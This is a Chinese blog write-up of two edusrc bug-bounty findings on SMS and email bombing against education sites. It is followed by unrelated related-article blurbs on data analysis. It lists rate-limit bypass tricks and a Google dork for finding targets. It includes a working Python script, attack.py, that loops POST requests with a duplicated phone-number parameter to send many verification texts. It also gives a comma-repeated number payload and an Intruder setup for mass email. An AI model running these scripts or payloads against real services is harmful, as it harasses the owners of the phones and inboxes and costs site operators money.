记两次简单的edusrc挖掘

简介: 记两次简单的edusrc挖掘

原理

服务器程序并未对请求次数进行限制,或者是限制不严格导致,导致可以大量重复发送短信验证码。会对其他用户造成骚扰或使厂商的运营商短信费用的增加,造成损失。


绕过思路:

空格,大小写绕过,修改cookie,修改返回值,多次叠加参数绕过,修改XXF头绕过等可参考,也可配合并发工具Turbo Intruder进行测试


Google语法:

inurl:edu.cn 验证码


短信hongzha案例:

我们日常发验证码页面抓包,点击发送。成功发送一条短信,当再次点击时候,已经返回为空了。这里我们猜测可能是那一部分做了限制。


##审核不让配图啊 这次没图了

我们尝试双写,发现可以绕过,而且发送了两条短信,再次发送的时候已经没有反应了。

当时有两种思路:一是写一个Python脚本进行post循环发包,循环的过程中后面再双写一遍;二是直接写很多遍手机号用逗号隔开。


第一种方法 Python脚本

# -*- coding: utf-8 -*-
'''
@Time    : 2023-03-10 9:01
@Author  : whgojp
@File    : attack.py
#使用request  post发包
'''
import requests
from lxpy import copy_headers_dict
 
url = "www.xxx.com"
request_header = """
#这里是请求头参数 字符串直接复制过来就行
"""
header = copy_headers_dict(request_header)
# print(header)
mobileNumber = xxxxxxxxxxx        #这里填手机号
totalMessageAttack = 0
for i in range(5):      #循环次数自己可以设置 循环五次就是:1+2+3+4+5=19
    totalMessageAttack += i
    mobileNumber = str(mobileNumber) + ',,'+str(format(mobileNumber))
    payload = dict(sjhm=mobileNumber)
    try:
        response = requests.post(url,headers=header,verify=False,data=payload) #verify=False表示忽略对 SSL 证书的验证,但是仍然会有警告
        print(response.status_code)
    except Exception as e:
        print("出错了啊:"+str(e))
 
print("一共发送了"+str(totalMessageAttack)+"次短信!")
 


第二种方法:


mobile=xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,xxxxxxxxxx,


邮箱hongzha案例:

某学习注册新用户窗口,抓包发送到intruder模块
设置intruder payload位置
尝试发送六十条进行测试:


emmm 短信hongzha 好像不收

相关文章
|
3月前
|
机器学习/深度学习 算法 搜索推荐
基于机器学习的用户行为分析:深入洞察与精准决策
【8月更文挑战第3天】基于机器学习的用户行为分析为企业提供了深入了解用户需求、优化产品设计和制定精准营销策略的有力工具。随着人工智能和大数据技术的不断发展,用户行为分析将更加智能化和个性化。未来,我们可以期待更加高效、精准的机器学习算法和模型的出现,以及更多创新性的应用场景的拓展。同时,也需要关注数据隐私和安全性问题,确保用户数据的安全和合规使用。
|
3月前
|
数据采集 监控 数据挖掘
利用DATEWORES进行实时数据分析与洞察挖掘
【8月更文第14天】本文探讨了如何使用DATEWORES平台进行实时数据分析,该平台是一个假设性的实时数据处理框架,用于收集、处理并分析来自多种来源的数据流。通过介绍DATEWORES的功能以及其在实际应用场景中的实现,本文旨在为读者提供一个全面的指南,帮助他们在自己的业务场景中实施类似的解决方案。
51 0
|
3月前
|
机器学习/深度学习 数据采集 运维
数据分析与挖掘
数据分析与挖掘
|
6月前
|
存储 数据采集 机器学习/深度学习
大数据分析:挖掘数据价值的技术和方法
在数字化时代,大数据已经成为企业和科研机构的重要资源之一。然而,对于海量的数据如何进行分析和挖掘却是一个巨大的挑战。本文将介绍大数据分析的基本概念、技术和方法,帮助读者了解如何利用现代技术和工具,挖掘数据中蕴藏的价值。
657 0
|
存储 算法 搜索推荐
数据挖掘-理解业务和数据(二)
数据挖掘-理解业务和数据(二)
144 0
数据挖掘-理解业务和数据(二)
|
机器学习/深度学习 分布式计算 算法
大数据建模、分析、挖掘技术应用
掌握基于Hadoop大数据平台的数据挖掘和数据仓库分布式系统平台应用,以及商业和开源的数据分析产品加上Hadoop平台形成大数据分析平台的应用剖析。
|
数据挖掘 索引 Python
金融数据分析与挖掘具体实现方法 -1
有人让我写一下关于数据挖掘在金融方面的应用,再加上现在金融对数据方面的要求不断提高,准备用两篇随笔来做个入门总结。 首先,在看这篇随笔以前稍微补充一点金融方面的知识,因为我不是金融专业的,以下补充知识来自互联网与个人整理,欢迎批评指正并补充说明。
2111 0
|
存储 大数据 分布式计算